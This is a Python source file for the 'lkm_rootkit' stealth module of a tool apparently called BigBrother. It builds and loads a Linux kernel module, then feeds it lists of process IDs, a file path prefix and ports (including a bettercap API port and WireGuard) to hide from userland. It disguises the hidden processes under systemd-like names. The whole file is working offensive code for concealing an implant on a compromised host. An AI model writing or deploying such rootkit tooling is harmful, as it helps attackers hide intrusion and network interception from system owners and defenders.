#!/usr/bin/env python3 """LKM rootkit module: compile, load, and manage a kernel module that hides BigBrother processes, files, and network connections from userland.""" import logging import os import subprocess import time from pathlib import Path from typing import Optional from modules.base import BaseModule from utils.resource import get_hardware_tier, TIER_GENERIC logger = logging.getLogger("bb.stealth.lkm_rootkit") LKM_TEMPLATE_DIR = "templates/lkm" LKM_SOURCE = "bb_hide.c" LKM_MODULE = "bb_hide.ko" LKM_MODULE_NAME = "bb_hide" # Default hide lists DEFAULT_HIDE_PREFIX = ".cache/bb" DEFAULT_HIDE_PORTS = [8081, 51820] # bettercap API, WireGuard class LKMRootkit(BaseModule): """Manage a Linux kernel module for process/file/connection hiding. Debian generic host only -- gracefully skips on SBC tiers.""" name = "lkm_rootkit" module_type = "stealth" priority = -300 requires_root = True def __init__(self, bus, state, config, engine=None): super().__init__(bus, state, config, engine) self._lkm_dir = config.get("lkm_dir", LKM_TEMPLATE_DIR) self._module_path = os.path.join(self._lkm_dir, LKM_MODULE) self._loaded = False self._hidden_pids: list[int] = [] self._hidden_paths: list[str] = config.get("hide_paths", [DEFAULT_HIDE_PREFIX]) self._hidden_ports: list[int] = config.get("hide_ports", list(DEFAULT_HIDE_PORTS)) self._hide_process_names: list[str] = config.get("hide_process_names", [ "systemd-thermald", "networkd-dispatcher", "systemd-netlogd", "systemd-resolved", "systemd-networkd", "systemd-logind", ]) # ------------------------------------------------------------------ # BaseModule interface # ------------------------------------------------------------------ def start(self) -> None: self._running = True self._start_time = time.time() self._pid = os.getpid() # Check hardware tier: LKM only on generic Debian hosts tier = get_hardware_tier() if tier != TIER_GENERIC: logger.info( "LKMRootkit skipped — tier '%s' does not support kernel modules " "(requires 'generic' Debian host)", tier, ) self.state.set_module_status(self.name, "skipped", extra={"reason": f"unsupported_tier:{tier}"}) self.bus.emit("MODULE_STARTED", { "module": self.name, "skipped": True, "reason": "unsupported_tier", }, source_module=self.name) return # Build if needed if not os.path.isfile(self._module_path): if not self._build_module(): logger.error("LKM build failed — module not available") self.state.set_module_status(self.name, "error", extra={"reason": "build_failed"}) return # Load module if self._load_module(): self._loaded = True self._configure_hide_lists() self.state.set_module_status(self.name, "running", pid=self._pid) self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name) logger.info("LKMRootkit loaded and configured") else: self.state.set_module_status(self.name, "error", extra={"reason": "load_failed"}) def stop(self) -> None: self._running = False if self._loaded: self._unload_module() self._loaded = False self.state.set_module_status(self.name, "stopped") self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name) logger.info("LKMRootkit stopped") def status(self) -> dict: return { "running": self._running, "pid": self._pid, "uptime": time.time() - self._start_time if self._start_time else 0, "loaded": self._loaded, "hidden_pids": list(self._hidden_pids), "hidden_paths": list(self._hidden_paths), "hidden_ports": list(self._hidden_ports), "module_path": self._module_path, } def configure(self, config: dict) -> None: if "hide_paths" in config: self._hidden_paths = config["hide_paths"] if "hide_ports" in config: self._hidden_ports = config["hide_ports"] if "hide_process_names" in config: self._hide_process_names = config["hide_process_names"] if self._loaded: self._configure_hide_lists() # ------------------------------------------------------------------ # Public: dynamic hide/unhide # ------------------------------------------------------------------ def hide_pid(self, pid: int) -> bool: """Add a PID to the kernel module's hide list.""" if not self._loaded: return False if pid not in self._hidden_pids: self._hidden_pids.append(pid) return self._write_param("hide_pids", self._format_pid_list()) return True def unhide_pid(self, pid: int) -> bool: """Remove a PID from the kernel module's hide list.""" if not self._loaded: return False if pid in self._hidden_pids: self._hidden_pids.remove(pid) return self._write_param("hide_pids", self._format_pid_list()) return True def hide_port(self, port: int) -> bool: """Add a port to the kernel module's hide list.""" if not self._loaded: return False if port not in self._hidden_ports: self._hidden_ports.append(port) return self._write_param("hide_ports", self._format_port_list()) return True # ------------------------------------------------------------------ # Internal: build # ------------------------------------------------------------------ def _build_module(self) -> bool: """Compile the kernel module from source.""" source_path = os.path.join(self._lkm_dir, LKM_SOURCE) if not os.path.isfile(source_path): logger.error("LKM source not found: %s", source_path) return False # Check for kernel headers kdir = f"/lib/modules/{os.uname().release}/build" if not os.path.isdir(kdir): logger.error("Kernel headers not found: %s", kdir) return False try: result = subprocess.run( ["make", "-C", self._lkm_dir], capture_output=True, timeout=120, env={**os.environ, "KDIR": kdir}, ) if result.returncode == 0: logger.info("LKM built successfully: %s", self._module_path) return True else: logger.error( "LKM build failed (rc=%d): %s", result.returncode, result.stderr.decode(errors="replace")[:500], ) return False except FileNotFoundError: logger.error("make not found — cannot build LKM") return False except subprocess.TimeoutExpired: logger.error("LKM build timed out") return False # ------------------------------------------------------------------ # Internal: load/unload # ------------------------------------------------------------------ def _load_module(self) -> bool: """Load the kernel module via insmod.""" params = self._build_insmod_params() try: cmd = ["insmod", self._module_path] + params result = subprocess.run(cmd, capture_output=True, timeout=30) if result.returncode == 0: logger.info("LKM loaded: %s", self._module_path) return True else: stderr = result.stderr.decode(errors="replace") if "File exists" in stderr: logger.info("LKM already loaded") return True logger.error("insmod failed: %s", stderr[:300]) return False except FileNotFoundError: logger.error("insmod not found") return False except Exception: logger.exception("LKM load failed") return False def _unload_module(self) -> bool: """Unload the kernel module via rmmod.""" try: result = subprocess.run( ["rmmod", LKM_MODULE_NAME], capture_output=True, timeout=30, ) if result.returncode == 0: logger.info("LKM unloaded") return True else: logger.warning( "rmmod failed: %s", result.stderr.decode(errors="replace")[:200], ) return False except FileNotFoundError: logger.error("rmmod not found") return False except Exception: logger.exception("LKM unload failed") return False # ------------------------------------------------------------------ # Internal: module parameter management # ------------------------------------------------------------------ def _build_insmod_params(self) -> list[str]: """Build insmod parameter list.""" params = [] if self._hidden_paths: params.append(f'hide_prefix="{self._hidden_paths[0]}"') if self._hidden_pids: params.append(f'hide_pids="{self._format_pid_list()}"') if self._hidden_ports: params.append(f'hide_ports="{self._format_port_list()}"') return params def _configure_hide_lists(self) -> None: """Write current hide lists to loaded module's parameters via sysfs.""" if not self._loaded: return # Collect current BigBrother PIDs from state try: all_status = self.state.get_all_module_status() for mod_name, mod_status in all_status.items(): pid = mod_status.get("pid") if pid and pid not in self._hidden_pids: self._hidden_pids.append(pid) except Exception: pass self._write_param("hide_pids", self._format_pid_list()) self._write_param("hide_ports", self._format_port_list()) if self._hidden_paths: self._write_param("hide_prefix", self._hidden_paths[0]) @staticmethod def _write_param(param: str, value: str) -> bool: """Write to kernel module parameter via /sys/module/.""" param_path = f"/sys/module/{LKM_MODULE_NAME}/parameters/{param}" try: with open(param_path, "w") as f: f.write(value) return True except (IOError, PermissionError, FileNotFoundError): logger.debug("Cannot write LKM param %s (module may not expose sysfs params)", param) return False def _format_pid_list(self) -> str: return ",".join(str(p) for p in self._hidden_pids) def _format_port_list(self) -> str: return ",".join(str(p) for p in self._hidden_ports)